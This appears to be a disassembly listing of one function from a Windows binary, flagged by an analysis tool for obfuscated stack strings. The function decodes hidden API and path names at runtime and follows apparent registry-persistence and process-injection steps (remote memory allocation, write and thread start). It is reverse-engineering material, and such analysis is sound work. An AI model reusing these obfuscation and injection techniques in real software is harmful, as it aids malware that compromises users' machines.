Function at 0x4159f7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x4539cd
call fcn.004534f4
sub esp, 0x8bc
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov esi, ecx
mov dword [ebp - 0x74], esi
xor ebx, ebx
mov dword [ebp - 0x18], ebx
and dword [ebp - 4], ebx
movaps xmm0, xmmword [0x4072a0]
movups xmmword [ebp - 0x49d], xmm0
xor edx, edx
mov dword [ebp - 0x2e0], edx
cmp edx, 0xe
jae 0x415a5c
movsx ecx, byte [ebp - 0x49d]
and ecx, 0x8000000f
jns 0x415a49
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x49c]
sub al, cl
mov byte [ebp + edx - 0x49c], al
inc edx
jmp 0x415a2a
mov byte [ebp - 0x48e], 0
lea edi, [ebp - 0x49c]
mov al, 0x40
mov dword [ebp - 0x140], 0x72654b40
mov dword [ebp - 0x13c], 0x336c656e
mov dword [ebp - 0x138], 0x6c642e32
mov word [ebp - 0x134], 0x6c
xor edx, edx
mov dword [ebp - 0x2e4], edx
cmp edx, 0xc
jae 0x415ace
movsx ecx, al
and ecx, 0x8000000f
jns 0x415aaf
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x13f]
sub al, cl
mov byte [ebp + edx - 0x13f], al
inc edx
mov dword [ebp - 0x2e4], edx
mov al, byte [ebp - 0x140]
jmp 0x415a9a
mov byte [ebp - 0x133], 0
mov edx, edi
lea ecx, [ebp - 0x13f]
call fcn.0040c457
lea ecx, [ebp - 0x2f0]
push ecx
push 0xffffffffffffffff
call eax
mov byte [ebp - 0x11], 0
mov dl, 0x42
mov dword [ebp - 0x26], 0x34262342
mov dword [ebp - 0x22], 0x712b3223
mov dword [ebp - 0x1e], 0x2e266c70
mov word [ebp - 0x1a], 0x2e
xor ecx, ecx
mov dword [ebp - 0x2e8], ecx
cmp ecx, 0xc
jae 0x415b31
mov al, byte [ebp + ecx - 0x25]
xor al, dl
mov byte [ebp + ecx - 0x25], al
inc ecx
mov dword [ebp - 0x2e8], ecx
mov dl, byte [ebp - 0x26]
jmp 0x415b16
mov byte [ebp - 0x19], 0
xor ecx, ecx
mov dword [ebp - 0x1f8], ecx
mov dword [ebp - 0x2ec], 0x54
mov edi, dword [ebp + 8]
mov eax, dword [edi + 4]
sub eax, dword [edi]
cdq
idiv dword [ebp - 0x2ec]
cmp ecx, eax
jae 0x417925
imul eax, ecx, 0x54
add eax, dword [edi]
push eax
lea ecx, [ebp - 0x438]
call fcn.0041793f
cmp byte [ebp - 0x3e8], 0
je 0x4178f9
cmp byte [ebp - 0x3f0], 0
je 0x415b9b
cmp byte [ebp + 0xc], 0
jne 0x415b9b
lea ecx, [ebp - 0x438]
call fcn.004179ac
jmp 0x41790a
cmp dword [ebp - 0x41c], 1
je 0x415bc3
cmp dword [ebp - 0x41c], 4
je 0x415bc3
xor eax, eax
cmp dword [ebp - 0x2f0], eax
setne al
add eax, 2
cmp dword [ebp - 0x41c], eax
jne 0x415b8b
cmp byte [ebp - 0x3e9], 0
je 0x41631f
mov dl, 3
mov dword [ebp - 0x118], 0x64665103
mov dword [ebp - 0x114], 0x6d66734c
mov dword [ebp - 0x110], 0x427a6648
mov byte [ebp - 0x10c], 0
xor ecx, ecx
mov dword [ebp - 0x2f4], ecx
cmp ecx, 0xb
jae 0x415c23
mov al, byte [ebp + ecx - 0x117]
xor al, dl
mov byte [ebp + ecx - 0x117], al
inc ecx
mov dword [ebp - 0x2f4], ecx
mov dl, byte [ebp - 0x118]
jmp 0x415bff
mov byte [ebp - 0x10c], 0
lea edx, [ebp - 0x117]
lea ecx, [ebp - 0x25]
call fcn.0040c457
mov esi, eax
mov dl, 0x1c
mov dword [ebp - 0x7e], 0x7a734f1c
mov dword [ebp - 0x7a], 0x6e7d6b68
mov word [ebp - 0x76], 0x79
xor ecx, ecx
mov dword [ebp - 0x2f8], ecx
cmp ecx, 8
jae 0x415c73
mov al, byte [ebp + ecx - 0x7d]
xor al, dl
mov byte [ebp + ecx - 0x7d], al
inc ecx
mov dword [ebp - 0x2f8], ecx
mov dl, byte [ebp - 0x7e]
jmp 0x415c58
mov byte [ebp - 0x75], 0
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x7d]
push eax
push 0x80000001
call esi
test eax, eax
jne 0x41631c
cmp byte [ebp - 0x11], al
jne 0x41605f
mov dl, 0x40
mov dword [ebp - 0xbd], 0x27251240
mov dword [ebp - 0xb9], 0x2e25300f
mov dword [ebp - 0xb5], 0x139250b
mov byte [ebp - 0xb1], al
xor ecx, ecx
mov dword [ebp - 0x2dc], ecx
cmp ecx, 0xb
jae 0x415ce9
mov al, byte [ebp + ecx - 0xbc]
xor al, dl
mov byte [ebp + ecx - 0xbc], al
inc ecx
mov dword [ebp - 0x2dc], ecx
mov dl, byte [ebp - 0xbd]
jmp 0x415cc5
mov byte [ebp - 0xb1], 0
lea edx, [ebp - 0xbc]
lea ecx, [ebp - 0x25]
call fcn.0040c457
mov edx, eax
movaps xmm0, xmmword [0x408630]
movups xmmword [ebp - 0x36c], xmm0
mov dword [ebp - 0x35c], 0x1d5747
xor ecx, ecx
mov dword [ebp - 0x2fc], ecx
cmp ecx, 0x12
jae 0x415d3c
mov al, byte [ebp + ecx - 0x36b]
xor al, byte [ebp - 0x36c]
mov byte [ebp + ecx - 0x36b], al
inc ecx
jmp 0x415d1a
mov byte [ebp - 0x359], 0
lea eax, [ebp - 0x1f0]
push eax
lea eax, [ebp - 0x36b]
push eax
push dword [ebp - 0x44]
call edx
test eax, eax
jne 0x415f7d
mov dl, 0x45
mov dword [ebp - 0x10b], 0x22201745
mov dword [ebp - 0x107], 0x2b20350a
mov dword [ebp - 0x103], 0x43c200e
xor ebx, ebx
mov byte [ebp - 0xff], bl
mov ecx, ebx
mov dword [ebp - 0x300], ecx
cmp ecx, 0xb
jae 0x415db2
mov al, byte [ebp + ecx - 0x10a]
xor al, dl
mov byte [ebp + ecx - 0x10a], al
inc ecx
mov dword [ebp - 0x300], ecx
mov dl, byte [ebp - 0x10b]
jmp 0x415d8e
mov byte [ebp - 0xff], bl
lea edx, [ebp - 0x10a]
lea ecx, [ebp - 0x25]
call fcn.0040c457
mov esi, eax
movzx edx, word [ebp - 0x3ec]
lea ecx, [ebp - 0x688]
call fcn.00414703
movaps xmm0, xmmword [0x4078c0]
movups xmmword [ebp - 0x225], xmm0
mov dword [ebp - 0x215], 0x285a1000
mov byte [ebp - 0x211], bl
mov ecx, ebx
mov dword [ebp - 0x304], ecx
cmp ecx, 0x13
jae 0x415e1c
mov al, byte [ebp + ecx - 0x224]
xor al, byte [ebp - 0x225]
mov byte [ebp + ecx - 0x224], al
inc ecx
jmp 0x415dfa
mov byte [ebp - 0x211], bl
lea ecx, [ebp - 0x224]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x415e2b
sub ecx, edx
push ecx
lea eax, [ebp - 0x224]
push eax
push ebx
lea ecx, [ebp - 0x688]
call fcn.00418092
push eax
lea ecx, [ebp - 0x670]
call fcn.0040bc7c
lea ecx, [ebp - 0x670]
call fcn.0040bd83
lea ecx, [ebp - 0x1f0]
push ecx
push eax
push dword [ebp - 0x44]
call esi
mov ebx, eax
neg ebx
sbb bl, bl
inc bl
lea ecx, [ebp - 0x670]
call fcn.0040bc59
lea ecx, [ebp - 0x688]
call fcn.0040bc59
test bl, bl
je 0x41605c
mov dl, 0x5e
mov dword [ebp - 0xfe], 0x393b0c5e
mov dword [ebp - 0xfa], 0x2d31321d
mov dword [ebp - 0xf6], 0x273b153b
xor ebx, ebx
mov byte [ebp - 0xf2], bl
mov ecx, ebx
mov dword [ebp - 0x308], ecx
cmp ecx, 0xb
jae 0x415ee6
mov al, byte [ebp + ecx - 0xfd]
xor al, dl
mov byte [ebp + ecx - 0xfd], al
inc ecx
mov dword [ebp - 0x308], ecx
mov dl, byte [ebp - 0xfe]
jmp 0x415ec2
mov byte [ebp - 0xf2], bl
lea edx, [ebp - 0xfd]
lea ecx, [ebp - 0x25]
call fcn.0040c457
push dword [ebp - 0x44]
call eax
mov dl, 0x5b
mov dword [ebp - 0xf1], 0x3c3e095b
mov dword [ebp - 0xed], 0x28343718
mov dword [ebp - 0xe9], 0x223e103e
mov byte [ebp - 0xe5], bl
mov ecx, ebx
mov dword [ebp - 0x30c], ecx
cmp ecx, 0xb
jae 0x415f51
mov al, byte [ebp + ecx - 0xf0]
xor al, dl
mov byte [ebp + ecx - 0xf0], al
inc ecx
mov dword [ebp - 0x30c], ecx
mov dl, byte [ebp - 0xf1]
jmp 0x415f2d
mov byte [ebp - 0xe5], bl
lea edx, [ebp - 0xf0]
lea ecx, [ebp - 0x25]
call fcn.0040c457
push dword [ebp - 0x1f0]
call eax
lea ecx, [ebp - 0x438]
call fcn.004179ac
jmp 0x417907
mov byte [ebp - 0x11], 1
mov dl, 3
mov dword [ebp - 0x1ce], 0x64665103
mov dword [ebp - 0x1ca], 0x62667140
mov dword [ebp - 0x1c6], 0x66486677
mov word [ebp - 0x1c2], 0x427a
mov byte [ebp - 0x1c0], 0
xor ecx, ecx
mov dword [ebp - 0x310], ecx
cmp ecx, 0xd
jae 0x415fdd
mov al, byte [ebp + ecx - 0x1cd]
xor al, dl
mov byte [ebp + ecx - 0x1cd], al
inc ecx
mov dword [ebp - 0x310], ecx
mov dl, byte [ebp - 0x1ce]
jmp 0x415fb9
mov byte [ebp - 0x1c0], 0
lea edx, [ebp - 0x1cd]
lea ecx, [ebp - 0x25]
call fcn.0040c457
mov esi, eax
movaps xmm0, xmmword [0x407c60]
movups xmmword [ebp - 0x380], xmm0
mov dword [ebp - 0x370], 0x3d7383
xor edx, edx
mov dword [ebp - 0x314], edx
cmp edx, 0x12
jae 0x416040
movsx ecx, byte [ebp - 0x380]
and ecx, 0x8000000f
jns 0x41602d
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x37f]
sub al, cl
mov byte [ebp + edx - 0x37f], al
inc edx
jmp 0x41600e
mov byte [ebp - 0x36d], 0
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x37f]
push eax
push dword [ebp - 0x44]
call esi
jmp 0x41605f
mov ebx, dword [ebp - 0x18]
mov al, 0x3a
mov dword [ebp - 0x1bf], 0x716f5c3a
mov dword [ebp - 0x1bb], 0x6b6f7c4d
mov dword [ebp - 0x1b7], 0x6f556f7e
mov word [ebp - 0x1b3], 0x4b83
mov byte [ebp - 0x1b1], 0
xor edx, edx
mov dword [ebp - 0x318], edx
cmp edx, 0xd
jae 0x4160cb
movsx ecx, al
and ecx, 0x8000000f
jns 0x4160ac
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x1be]
sub al, cl
mov byte [ebp + edx - 0x1be], al
inc edx
mov dword [ebp - 0x318], edx
mov al, byte [ebp - 0x1bf]
jmp 0x416097
mov byte [ebp - 0x1b1], 0
lea edx, [ebp - 0x1be]
lea ecx, [ebp - 0x25]
call fcn.0040c457
mov esi, eax
movzx edx, word [ebp - 0x3ec]
lea ecx, [ebp - 0x700]
call fcn.00414703
movaps xmm0, xmmword [0x407b00]
movups xmmword [ebp - 0x23a], xmm0
mov dword [ebp - 0x22a], 0x60326878
mov byte [ebp - 0x226], 0
xor edx, edx
mov dword [ebp - 0x31c], edx
cmp edx, 0x13
jae 0x416147
movsx ecx, byte [ebp - 0x23a]
and ecx, 0x8000000f
jns 0x416134
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x239]
sub al, cl
mov byte [ebp + edx - 0x239], al
inc edx
jmp 0x416115
mov byte [ebp - 0x226], 0
lea ecx, [ebp - 0x239]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416157
sub ecx, edx
push ecx
lea eax, [ebp - 0x239]
push eax
push 0
lea ecx, [ebp - 0x700]
call fcn.00418092
push eax
lea ecx, [ebp - 0x6e8]
call fcn.0040bc7c
lea ecx, [ebp - 0x6e8]
call fcn.0040bd83
lea ecx, [ebp - 0x208]
push ecx
push eax
push dword [ebp - 0x44]
call esi
lea ecx, [ebp - 0x6e8]
call fcn.0040bc59
lea ecx, [ebp - 0x700]
call fcn.0040bc59
mov al, 0x45
mov dword [ebp - 0xe4], 0x6c6a5745
mov dword [ebp - 0xe0], 0x78747148
mov dword [ebp - 0xdc], 0x7e6a506a
mov byte [ebp - 0xd8], 0
xor edx, edx
mov dword [ebp - 0x320], edx
cmp edx, 0xb
jae 0x416212
movsx ecx, al
and ecx, 0x8000000f
jns 0x4161f3
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0xe3]
sub al, cl
mov byte [ebp + edx - 0xe3], al
inc edx
mov dword [ebp - 0x320], edx
mov al, byte [ebp - 0xe4]
jmp 0x4161de
mov byte [ebp - 0xd8], 0
lea edx, [ebp - 0xe3]
lea ecx, [ebp - 0x25]
call fcn.0040c457
push dword [ebp - 0x208]
call eax
mov dl, 0x6f
mov dword [ebp - 0xd7], 0x80a3d6f
mov dword [ebp - 0xd3], 0x1c00032c
mov dword [ebp - 0xcf], 0x160a240a
mov byte [ebp - 0xcb], 0
xor ecx, ecx
mov dword [ebp - 0x324], ecx
cmp ecx, 0xb
jae 0x416282
mov al, byte [ebp + ecx - 0xd6]
xor al, dl
mov byte [ebp + ecx - 0xd6], al
inc ecx
mov dword [ebp - 0x324], ecx
mov dl, byte [ebp - 0xd7]
jmp 0x41625e
mov byte [ebp - 0xcb], 0
lea edx, [ebp - 0xd6]
lea ecx, [ebp - 0x25]
call fcn.0040c457
push dword [ebp - 0x44]
call eax
mov al, 0x7c
mov dword [ebp - 0xca], 0x73715e7c
mov dword [ebp - 0xc6], 0x7f7b784f
mov dword [ebp - 0xc2], 0x85715771
mov byte [ebp - 0xbe], 0
xor edx, edx
mov dword [ebp - 0x32c], edx
cmp edx, 0xb
jae 0x4162ff
movsx ecx, al
and ecx, 0x8000000f
jns 0x4162e0
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0xc9]
sub al, cl
mov byte [ebp + edx - 0xc9], al
inc edx
mov dword [ebp - 0x32c], edx
mov al, byte [ebp - 0xca]
jmp 0x4162cb
mov byte [ebp - 0xbe], 0
lea edx, [ebp - 0xc9]
lea ecx, [ebp - 0x25]
call fcn.0040c457
push dword [ebp - 0x1f0]
call eax
mov esi, dword [ebp - 0x74]
mov eax, dword [ebp - 0x420]
cmp eax, 1
je 0x417561
cmp eax, 4
je 0x417561
cmp eax, 3
je 0x416c6b
cmp eax, 2
je 0x416c6b
cmp eax, 5
jne 0x4178f9
push 8
lea eax, [ebp - 0x718]
push eax
mov ecx, esi
call fcn.004147d1
push 0x7b
push 1
xor ebx, ebx
push ebx
mov ecx, eax
call fcn.00417f88
push eax
lea ecx, [ebp - 0x570]
call fcn.0040bc7c
push 0x7d
lea ecx, [ebp - 0x570]
call fcn.0040bcdc
lea eax, [ebp - 0x570]
push eax
lea ecx, [ebp - 0x588]
call fcn.0040bc7c
lea ecx, [ebp - 0x570]
call fcn.0040bc59
lea ecx, [ebp - 0x718]
call fcn.0040bc59
mov al, 0x1f
mov dword [ebp - 0x2c], 0x7b733d1f
mov word [ebp - 0x28], 0x7b
mov edx, ebx
mov dword [ebp - 0x330], edx
cmp edx, 4
jae 0x4163f3
movsx ecx, al
and ecx, 0x8000000f
jns 0x4163dd
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x2b]
sub al, cl
mov byte [ebp + edx - 0x2b], al
inc edx
mov dword [ebp - 0x330], edx
mov al, byte [ebp - 0x2c]
jmp 0x4163c8
mov byte [ebp - 0x27], bl
lea eax, [ebp - 0x588]
push eax
mov dl, 0x5c
lea ecx, [ebp - 0x730]
call fcn.00417be5
mov edx, eax
lea ecx, [ebp - 0x2b]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416412
sub ecx, esi
push ecx
lea eax, [ebp - 0x2b]
push eax
mov ecx, edx
call fcn.00412bce
push eax
lea ecx, [ebp - 0x518]
call fcn.0040bc7c
lea ecx, [ebp - 0x730]
call fcn.0040bc59
mov al, 0x30
mov dword [ebp - 0xb0], 0x6f727030
mov dword [ebp - 0xac], 0x6d617267
mov dword [ebp - 0xa8], 0x61746164
mov byte [ebp - 0xa4], bl
mov edx, ebx
mov dword [ebp - 0x334], edx
cmp edx, 0xb
jae 0x4164a0
movsx ecx, al
and ecx, 0x8000000f
jns 0x416481
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0xaf]
sub al, cl
mov byte [ebp + edx - 0xaf], al
inc edx
mov dword [ebp - 0x334], edx
mov al, byte [ebp - 0xb0]
jmp 0x41646c
mov byte [ebp - 0xa4], bl
lea eax, [ebp - 0xaf]
push eax
call fcn.004494dd
pop ecx
push eax
lea ecx, [ebp - 0x748]
call fcn.0040bc98
lea ecx, [ebp - 0x518]
push ecx
mov ecx, eax
call fcn.00412646
push eax
lea ecx, [ebp - 0x600]
call fcn.0040bc7c
lea ecx, [ebp - 0x748]
call fcn.0040bc59
mov al, 0x5c
mov dword [ebp - 0x3e], 0x7971805c
mov word [ebp - 0x3a], 0x7c
mov edx, ebx
mov dword [ebp - 0x338], edx
cmp edx, 4
jae 0x416526
movsx ecx, al
and ecx, 0x8000000f
jns 0x416510
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x3d]
sub al, cl
mov byte [ebp + edx - 0x3d], al
inc edx
mov dword [ebp - 0x338], edx
mov al, byte [ebp - 0x3e]
jmp 0x4164fb
mov byte [ebp - 0x39], bl
lea eax, [ebp - 0x3d]
push eax
call fcn.004494dd
pop ecx
push eax
lea ecx, [ebp - 0x760]
call fcn.0040bc98
lea ecx, [ebp - 0x518]
push ecx
mov ecx, eax
call fcn.00412646
push eax
lea ecx, [ebp - 0x5e8]
call fcn.0040bc7c
lea ecx, [ebp - 0x760]
call fcn.0040bc59
mov al, 0x2f
mov dword [ebp - 0x64], 0x7f7f702f
mov dword [ebp - 0x60], 0x70837073
mov byte [ebp - 0x5c], bl
mov edx, ebx
mov dword [ebp - 0x33c], edx
cmp edx, 7
jae 0x4165aa
movsx ecx, al
and ecx, 0x8000000f
jns 0x416594
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x63]
sub al, cl
mov byte [ebp + edx - 0x63], al
inc edx
mov dword [ebp - 0x33c], edx
mov al, byte [ebp - 0x64]
jmp 0x41657f
mov byte [ebp - 0x5c], bl
lea eax, [ebp - 0x63]
push eax
call fcn.004494dd
pop ecx
push eax
lea ecx, [ebp - 0x778]
call fcn.0040bc98
lea ecx, [ebp - 0x518]
push ecx
mov ecx, eax
call fcn.00412646
push eax
lea ecx, [ebp - 0x5d0]
call fcn.0040bc7c
lea ecx, [ebp - 0x778]
call fcn.0040bc59
movaps xmm0, xmmword [0x408050]
movups xmmword [ebp - 0x394], xmm0
mov dword [ebp - 0x384], 0x587c75
mov ecx, ebx
mov dword [ebp - 0x340], ecx
cmp ecx, 0x12
jae 0x416624
mov al, byte [ebp + ecx - 0x393]
xor al, byte [ebp - 0x394]
mov byte [ebp + ecx - 0x393], al
inc ecx
jmp 0x416602
mov byte [ebp - 0x381], bl
mov dl, 0x26
mov word [ebp - 0x8a], 0x7326
push 0x54
pop eax
mov byte [ebp - 0x88], al
mov dword [ebp - 0x87], 0x48494b4a
mov dword [ebp - 0x83], 0x4a4a4208
mov byte [ebp - 0x7f], bl
mov ecx, ebx
mov dword [ebp - 0x344], ecx
cmp ecx, 0xa
jae 0x416681
mov al, byte [ebp + ecx - 0x89]
xor al, dl
mov byte [ebp + ecx - 0x89], al
inc ecx
mov dword [ebp - 0x344], ecx
mov dl, byte [ebp - 0x8a]
jmp 0x41665d
mov byte [ebp - 0x7f], bl
lea edx, [ebp - 0x393]
lea ecx, [ebp - 0x89]
call fcn.0040c457
mov edi, eax
movzx ecx, word [ebp - 0x400]
imul ecx, ecx, 0x18
lea ecx, [ebp + ecx - 0x618]
call fcn.0040bd83
mov esi, eax
lea ecx, [ebp - 0x438]
call fcn.0040bd83
push ebx
push ebx
push esi
push eax
push ebx
call edi
push 0x10
push ebx
lea eax, [ebp - 0x558]
push eax
call fcn.00445a50
add esp, 0xc
push 0x44
push ebx
lea eax, [ebp - 0x880]
push eax
call fcn.00445a50
add esp, 0xc
mov al, 0x4c
mov dword [ebp - 0x5b], 0x7a75834c
mov dword [ebp - 0x57], 0x7e7570
mov edx, ebx
mov dword [ebp - 0x348], edx
cmp edx, 6
jae 0x416728
movsx ecx, al
and ecx, 0x8000000f
jns 0x416712
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x5a]
sub al, cl
mov byte [ebp + edx - 0x5a], al
inc edx
mov dword [ebp - 0x348], edx
mov al, byte [ebp - 0x5b]
jmp 0x4166fd
mov byte [ebp - 0x54], bl
lea eax, [ebp - 0x5a]
push eax
call fcn.004494dd
pop ecx
test eax, eax
jne 0x41678f
push 3
pop esi
mov dword [ebp - 0x34c], esi
lea eax, [ebp - 0x600]
mov dword [ebp - 0x210], eax
lea edi, [ebp - 0x5b8]
mov dword [ebp - 0x210], edi
mov eax, esi
dec esi
mov dword [ebp - 0x34c], esi
test eax, eax
je 0x416779
sub edi, 0x18
mov dword [ebp - 0x210], edi
mov ecx, edi
call fcn.0040bc59
jmp 0x41675a
lea ecx, [ebp - 0x518]
call fcn.0040bc59
lea ecx, [ebp - 0x588]
jmp 0x4178f4
push eax
lea ecx, [ebp - 0x6a0]
call fcn.0040bc98
movaps xmm0, xmmword [0x4071b0]
movups xmmword [ebp - 0x4ad], xmm0
mov ecx, ebx
mov dword [ebp - 0x350], ecx
cmp ecx, 0xe
jae 0x4167cd
mov al, byte [ebp + ecx - 0x4ac]
xor al, byte [ebp - 0x4ad]
mov byte [ebp + ecx - 0x4ac], al
inc ecx
jmp 0x4167ab
mov byte [ebp - 0x49e], bl
mov al, 0x6e
mov dword [ebp - 0x14e], 0x8073596e
mov dword [ebp - 0x14a], 0x417a737c
mov dword [ebp - 0x146], 0x7a723c40
mov word [ebp - 0x142], 0x7a
mov edx, ebx
mov dword [ebp - 0x354], edx
cmp edx, 0xc
jae 0x416838
movsx ecx, al
and ecx, 0x8000000f
jns 0x416819
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x14d]
sub al, cl
mov byte [ebp + edx - 0x14d], al
inc edx
mov dword [ebp - 0x354], edx
mov al, byte [ebp - 0x14e]
jmp 0x416804
mov byte [ebp - 0x141], bl
lea edx, [ebp - 0x4ac]
lea ecx, [ebp - 0x14d]
call fcn.0040c457
mov esi, eax
movaps xmm0, xmmword [0x407620]
movups xmmword [ebp - 0x44b], xmm0
mov word [ebp - 0x43b], 0x2439
mov byte [ebp - 0x439], bl
mov ecx, ebx
mov dword [ebp - 0x358], ecx
cmp ecx, 0x11
jae 0x416892
mov al, byte [ebp + ecx - 0x44a]
xor al, byte [ebp - 0x44b]
mov byte [ebp + ecx - 0x44a], al
inc ecx
jmp 0x416870
mov byte [ebp - 0x439], bl
lea eax, [ebp - 0x44a]
push eax
lea edx, [ebp - 0x6a0]
lea ecx, [ebp - 0x790]
call fcn.00417b5f
mov ecx, eax
call fcn.0040bd83
lea ecx, [ebp - 0x558]
push ecx
lea ecx, [ebp - 0x880]
push ecx
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push ebx
push eax
call esi
mov esi, eax
lea ecx, [ebp - 0x790]
call fcn.0040bc59
test esi, esi
je 0x416c1c
mov ebx, dword [ebp - 0x558]
mov dword [ebp - 0x270], ebx
cmp ebx, 0xffffffff
je 0x416c1c
mov al, 0x55
mov dword [ebp - 0x15c], 0x66745155
mov dword [ebp - 0x158], 0x676e5169
mov dword [ebp - 0x154], 0x7e776677
mov word [ebp - 0x150], 0x46
xor edx, edx
mov dword [ebp - 0x3d4], edx
cmp edx, 0xc
jae 0x416962
movsx ecx, al
and ecx, 0x8000000f
jns 0x416943
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x15b]
sub al, cl
mov byte [ebp + edx - 0x15b], al
inc edx
mov dword [ebp - 0x3d4], edx
mov al, byte [ebp - 0x15c]
jmp 0x41692e
mov byte [ebp - 0x14f], 0
call fcn.0040c1b8
lea edx, [ebp - 0x15b]
mov ecx, eax
call fcn.0040c2e1
mov dword [ebp - 0x27c], eax
test eax, eax
je 0x416c1c
movaps xmm0, xmmword [0x407390]
movups xmmword [ebp - 0x4bd], xmm0
xor edx, edx
mov dword [ebp - 0x3d8], edx
cmp edx, 0xe
jae 0x4169cb
movsx ecx, byte [ebp - 0x4bd]
and ecx, 0x8000000f
jns 0x4169b8
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x4bc]
sub al, cl
mov byte [ebp + edx - 0x4bc], al
inc edx
jmp 0x416999
mov byte [ebp - 0x4ae], 0
mov dl, 0x23
mov dword [ebp - 0x16a], 0x51466823
mov dword [ebp - 0x166], 0x104f464d
mov dword [ebp - 0x162], 0x4f470d11
mov word [ebp - 0x15e], 0x4f
xor ecx, ecx
mov dword [ebp - 0x3dc], ecx
cmp ecx, 0xc
jae 0x416a27
mov al, byte [ebp + ecx - 0x169]
xor al, dl
mov byte [ebp + ecx - 0x169], al
inc ecx
mov dword [ebp - 0x3dc], ecx
mov dl, byte [ebp - 0x16a]
jmp 0x416a03
mov byte [ebp - 0x15d], 0
lea edx, [ebp - 0x4bc]
lea ecx, [ebp - 0x169]
call fcn.0040c457
movzx ecx, word [ebp - 0x400]
imul ecx, ecx, 0x18
push 4
push 0x3000
push dword [ebp + ecx - 0x608]
push 0
push ebx
call eax
mov ebx, eax
test ebx, ebx
je 0x416c1c
movaps xmm0, xmmword [0x407560]
movups xmmword [ebp - 0x3a8], xmm0
mov dword [ebp - 0x398], 0x9021f
xor ecx, ecx
mov dword [ebp - 0x3e0], ecx
cmp ecx, 0x12
jae 0x416aa2
mov al, byte [ebp + ecx - 0x3a7]
xor al, byte [ebp - 0x3a8]
mov byte [ebp + ecx - 0x3a7], al
inc ecx
jmp 0x416a80
mov byte [ebp - 0x395], 0
mov dl, 0x23
mov dword [ebp - 0x178], 0x51466823
mov dword [ebp - 0x174], 0x104f464d
mov dword [ebp - 0x170], 0x4f470d11
mov word [ebp - 0x16c], 0x4f
xor ecx, ecx
mov dword [ebp - 0x26c], ecx
cmp ecx, 0xc
jae 0x416afe
mov al, byte [ebp + ecx - 0x177]
xor al, dl
mov byte [ebp + ecx - 0x177], al
inc ecx
mov dword [ebp - 0x26c], ecx
mov dl, byte [ebp - 0x178]
jmp 0x416ada
mov byte [ebp - 0x16b], 0
lea edx, [ebp - 0x3a7]
lea ecx, [ebp - 0x177]
call fcn.0040c457
mov edi, eax
movzx ecx, word [ebp - 0x400]
imul ecx, ecx, 0x18
mov esi, dword [ebp + ecx - 0x608]
lea ecx, [ebp + ecx - 0x618]
call fcn.0040bd83
push 0
push esi
push eax
push ebx
mov esi, dword [ebp - 0x270]
push esi
call edi
test eax, eax
je 0x416c1c
movaps xmm0, xmmword [0x4084c0]
movups xmmword [ebp - 0x3bc], xmm0
mov dword [ebp - 0x3ac], 0x6c696d
xor edx, edx
mov dword [ebp - 0x274], edx
cmp edx, 0x12
jae 0x416b97
movsx ecx, byte [ebp - 0x3bc]
and ecx, 0x8000000f
jns 0x416b84
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x3bb]
sub al, cl
mov byte [ebp + edx - 0x3bb], al
inc edx
jmp 0x416b65
xor eax, eax
mov byte [ebp - 0x3a9], al
mov dl, 0x64
mov dword [ebp - 0x186], 0x16012f64
mov dword [ebp - 0x182], 0x5708010a
mov dword [ebp - 0x17e], 0x8004a56
mov word [ebp - 0x17a], 8
mov ecx, eax
mov dword [ebp - 0x278], ecx
cmp ecx, 0xc
jae 0x416bf4
mov al, byte [ebp + ecx - 0x185]
xor al, dl
mov byte [ebp + ecx - 0x185], al
inc ecx
mov dword [ebp - 0x278], ecx
mov dl, byte [ebp - 0x186]
jmp 0x416bd0
mov byte [ebp - 0x179], 0
lea edx, [ebp - 0x3bb]
lea ecx, [ebp - 0x185]
call fcn.0040c457
xor ecx, ecx
push ecx
push ecx
push ebx
push dword [ebp - 0x27c]
push ecx
push ecx
push esi
call eax
lea ecx, [ebp - 0x6a0]
call fcn.0040bc59
push 3
pop esi
mov dword [ebp - 0x280], esi
lea eax, [ebp - 0x600]
mov dword [ebp - 0x20c], eax
lea edi, [ebp - 0x5b8]
mov dword [ebp - 0x20c], edi
mov eax, esi
dec esi
mov dword [ebp - 0x280], esi
test eax, eax
je 0x416779
sub edi, 0x18
mov dword [ebp - 0x20c], edi
mov ecx, edi
call fcn.0040bc59
jmp 0x416c48
cmp byte [ebp - 0x3ea], 0
je 0x416cd6
or ebx, 1
mov dword [ebp - 0x18], ebx
or ebx, 2
mov dword [ebp - 0x18], ebx
or ebx, 4
mov dword [ebp - 0x18], ebx
push 8
lea eax, [ebp - 0x7a8]
push eax
mov ecx, esi
call fcn.004147d1
push 0x7b
push 1
push 0
mov ecx, eax
call fcn.00417f88
push eax
lea ecx, [ebp - 0x5a0]
call fcn.0040bc7c
push 0x7d
lea ecx, [ebp - 0x5a0]
call fcn.0040bcdc
lea eax, [ebp - 0x5a0]
push eax
lea ecx, [ebp - 0x6d0]
call fcn.0040bc7c
lea eax, [ebp - 0x6d0]
jmp 0x416d0e
or ebx, 8
